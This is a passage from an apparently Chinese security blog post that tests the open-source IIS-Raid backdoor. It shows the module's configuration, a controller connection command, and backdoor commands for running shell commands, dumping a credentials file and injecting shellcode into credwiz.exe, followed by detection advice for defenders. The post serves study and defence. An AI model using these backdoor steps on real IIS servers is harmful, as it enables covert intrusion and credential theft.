填入Name和Path,如下图:

untitled.png

添加成功后,在Modules页面显示新添加的内容,如下图:

untitled.png

2.功能测试

IIS-Raid的配置文件保存在Functions.h中,包括以下内容:

#define COM_HEADER "X-Chrome-Variations"
#define PASS_FILE "C:\\Windows\\Temp\\creds.db"
#define PASSWORD "SIMPLEPASS"

COM_HEADER是用于执行后门与控制器之间的通信的标头名称

PASS_FILE是使用dump命令读取文件的位置

PASSWORD定义是将用于向后门进行身份验证的密码

(1)连接后门

命令如下:

python ./iis_controller.py  --url http://192.168.18.138/ --password SIMPLEPASS

如下图:

image.png(2)测试功能

执行cmd命令:

cmd whoami

测试如下图:

image.png

执行dump命令:

dump

默认读取文件C:\\Windows\\Temp\\creds.db中的内容

测试如下图3-3

image.png

执行shellcode:

inject shellcode.txt

shellcode.txt保存base64加密后的shellcode,加载方式为先创建进程C:\\Windows\\System32\\credwiz.exe,再进行注入

测试如下图:

image.png

0x06 利用分析

利用IIS模块作为后门具有以下特点:

· 需要先获得IIS服务器的管理员权限

· payload为dll的形式

· 通过安装模块的方式启动

· dll所在的进程为w3wp.exe

0x07 防御检测

可以通过查看Modules的方式检测IIS是否被安装后门

具体有以下两种方法:

1.使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE list module

2.使用IIS Administration Tool进行界面操作

运行inetmgr.exe,进入IIS管理器

选择Modules

另外需要注意的是只有当模块被成功加载后,进程w3wp.exe中才能找到模块相关的dll

0x08 小结

本文对IIS的模块功能进行介绍,实现了利用IIS的模块功能绕过防火墙,测试开源工具IIS-Raid,分享防御检测的建议。